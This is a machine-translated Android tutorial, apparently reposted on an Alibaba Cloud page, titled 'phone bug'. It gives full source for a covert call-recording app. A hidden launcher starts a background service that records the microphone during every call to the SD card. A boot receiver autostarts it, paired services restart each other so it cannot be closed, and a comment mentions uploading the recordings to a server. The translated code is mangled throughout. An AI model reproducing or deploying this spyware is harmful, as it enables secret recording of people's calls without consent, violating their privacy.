Simple implementation of phone bug in android,

Source: Internet
Author: User

Simple implementation of phone bug in android,

Train of Thought:

1. First, you have to run the program in the background, so you need to make the service.

2. How to Implement Telephone listening? first obtain the Phone Manager and then listen on the phone status.

3. Monitor the phone number based on the status of the phone number.

4. You have to start the instance.

5. You cannot close a daemon ..

6. It is automatically enabled in oncreate () in the main activity. This activity does not need pages.

See the code implementation:

Package com. jrrjw. phonelistener; import java. io. file; import android. app. service; import android. content. intent; import android. media. mediaRecorder; import android. OS. environment; import android. OS. IBinder; import android. telephony. phoneStateListener; import android. telephony. telephonyManager; public class SystemService2 extends Service {// telephone manager private TelephonyManager tm; // listener object private MyListener listene R; // declare the recorder private MediaRecorder mediaRecorder; @ Overridepublic IBinder onBind (Intent intent) {return null;} // method called when the service is created @ Overridepublic void onCreate () {// The call status of the background listener. // Obtain the Phone Manager tm = (TelephonyManager) this. getSystemService (TELEPHONY_SERVICE); listener = new MyListener (); tm. listen (listener, PhoneStateListener. LISTEN_CALL_STATE); super. onCreate ();} private class MyListener extends PhoneStateListener {// method called when the call status of the phone changes @ Overridepublic void onCallStateChanged (int state, String incomingNumber) {super. onCallStateChanged (state, incomingNumber); try {switch (state) {ca Se TelephonyManager. CALL_STATE_IDLE: // idle status. If (mediaRecorder! = Null) {// 8. stop capturing mediaRecorder. stop (); // 9. release the resource mediaRecorder. release (); mediaRecorder = null; System. out. println ("after recording, upload the file to the server. ");} Break; case TelephonyManager. CALL_STATE_RINGING: // zero response. Break; case TelephonyManager. CALL_STATE_OFFHOOK: // call status // start recording // 1. instantiate a recorder mediaRecorder = new MediaRecorder (); // 2. specifies the sound source mediaRecorder of the recorder. setAudioSource (MediaRecorder. audioSource. MIC); // here the mic can be another type, this google, because the European and American countries have laws and regulations on illegal recording, so here I just recorded my own voice // 3. sets the output format of the recorded file mediaRecorder. setOutputFormat (MediaRecorder. outputFormat. DEFAULT); // 4. file = new file (Environment. getExternalStorageDirectory (), System. currentTimeMillis () + ". mp3 "); mediaRecorder. setOutputFile (file. getAbsolutePath (); // 5. sets the Audio Encoding mediaRecorder. setAudioEncoder (MediaRecorder. audioEncoder. DEFAULT); // 6. prepare to start the recording mediaRecorder. prepare (); // 7. start the recording mediaRecorder. start (); break;} catch (Exception e) {e. printStackTrace () ;}}// method called when the service is destroyed @ Overridepublic void onDestroy () {super. onDestroy (); // Cancel the call listening System. out. println ("ondestory"); tm. listen (listener, PhoneStateListener. LISTEN_NONE); Intent I = new Intent (this, SystemService. class); startService (I); listener = null ;}}
2. Daemon

Package com. jrrjw. phonelistener; import java. io. file; import java. io. IOException; import android. app. service; import android. content. intent; import android. media. mediaRecorder; import android. OS. environment; import android. OS. IBinder; import android. telephony. phoneStateListener; import android. telephony. telephonyManager; public class SystemService extends Service {// Phone Manager private TelephonyManager tm; // listener object Private MyListener listener; // declare the recorder private MediaRecorder mediaRecorder; @ Overridepublic IBinder onBind (Intent intent) {return null;} // method called when the service is created @ Overridepublic void onCreate () {// The call status of the background listener. // Obtain the Phone Manager tm = (TelephonyManager) this. getSystemService (TELEPHONY_SERVICE); listener = new MyListener (); tm. listen (listener, PhoneStateListener. LISTEN_CALL_STATE); super. onCreate ();} private class MyListener extends PhoneStateListener {// method called when the call status of the phone changes @ Overridepublic void onCallStateChanged (int state, String incomingNumber) {super. onCallStateChanged (state, incomingNumber); try {switch (state) {ca Se TelephonyManager. CALL_STATE_IDLE: // idle status. If (mediaRecorder! = Null) {// 8. stop capturing mediaRecorder. stop (); // 9. release the resource mediaRecorder. release (); mediaRecorder = null; System. out. println ("after recording, upload the file to the server. ");} Break; case TelephonyManager. CALL_STATE_RINGING: // zero response. Break; case TelephonyManager. CALL_STATE_OFFHOOK: // call status // start recording // 1. instantiate a recorder mediaRecorder = new MediaRecorder (); // 2. specifies the sound source mediaRecorder of the recorder. setAudioSource (MediaRecorder. audioSource. MIC); // 3. sets the output format of the recorded file mediaRecorder. setOutputFormat (MediaRecorder. outputFormat. DEFAULT); // 4. file = new file (Environment. getExternalStorageDirectory (), System. currentTimeMillis () + ". mp3 "); mediaRecorder. setOutputFile (file. getAbsolutePath (); // 5. sets the Audio Encoding mediaRecorder. setAudioEncoder (MediaRecorder. audioEncoder. DEFAULT); // 6. prepare to start the recording mediaRecorder. prepare (); // 7. start the recording mediaRecorder. start (); break;} catch (Exception e) {e. printStackTrace () ;}}// method called when the service is destroyed @ Overridepublic void onDestroy () {super. onDestroy (); // Cancel the call listening System. out. println ("ondestory"); Intent I = new Intent (this, SystemService2.class); startService (I); tm. listen (listener, PhoneStateListener. LISTEN_NONE); listener = null ;}}


3. Auto Start

package com.jrrjw.phonelistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;public class BootReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Intent i = new Intent(context,SystemService.class);context.startService(i);}}

4. display on the home page

package com.jrrjw.phonelistener;import com.jrrjw.phonelistener.R;import android.app.Activity;import android.content.Intent;import android.os.Bundle;import android.view.View;import android.widget.Toast;public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);boolean isRunning = ServiceUtils.isServicRunning(this,"com.jrrjw.phonelistener.SystemService");if (!isRunning) {Intent intent = new Intent(this, SystemService.class);startService(intent);}Toast.makeText(this, "System Service is running", Toast.LENGTH_SHORT).show();finish();}}

5. Contents of the configuration file

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="com.jrrjw.phonelistener"    android:versionCode="1"    android:versionName="1.0" >    <uses-sdk        android:minSdkVersion="8"        android:targetSdkVersion="17" />    <uses-permission android:name="android.permission.READ_PHONE_STATE" />    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />    <uses-permission android:name="android.permission.RECORD_AUDIO" />    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />    <application        android:allowBackup="true"        android:icon="@drawable/ic_launcher"        android:label="@string/app_name"        android:theme="@style/AppTheme" >        <activity            android:name="com.jrrjw.phonelistener.MainActivity"            android:label="@string/app_name" >            <intent-filter>                <action android:name="android.intent.action.MAIN" />                <category android:name="android.intent.category.LAUNCHER" />            </intent-filter>        </activity>        <service android:name="com.jrrjw.phonelistener.SystemService" >        </service>        <service android:name="com.jrrjw.phonelistener.SystemService2" >        </service>        <receiver android:name="com.jrrjw.phonelistener.BootReceiver" >            <intent-filter>                <action android:name="android.intent.action.BOOT_COMPLETED" />            </intent-filter>        </receiver>    </application></manifest>

6. Use the tool class to determine whether the current service is running

package com.jrrjw.phonelistener;import java.util.List;import android.app.ActivityManager;import android.app.ActivityManager.RunningServiceInfo;import android.content.Context;public class ServiceUtils {public static boolean isServicRunning(Context context, String serviceName) {ActivityManager am = (ActivityManager) context.getSystemService(context.ACTIVITY_SERVICE);List<RunningServiceInfo> infos = am.getRunningServices(100);for (RunningServiceInfo runningServiceInfo : infos) {String serviceN = runningServiceInfo.service.getClassName();if (serviceName.equals(serviceN)) {return true;}}return false;}}
Now, a simple phone listener is implemented. Once your phone is over, the listener will save the recorded sound to your SD card in time format, here I am not judging whether the SD card exists, just a demo





Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.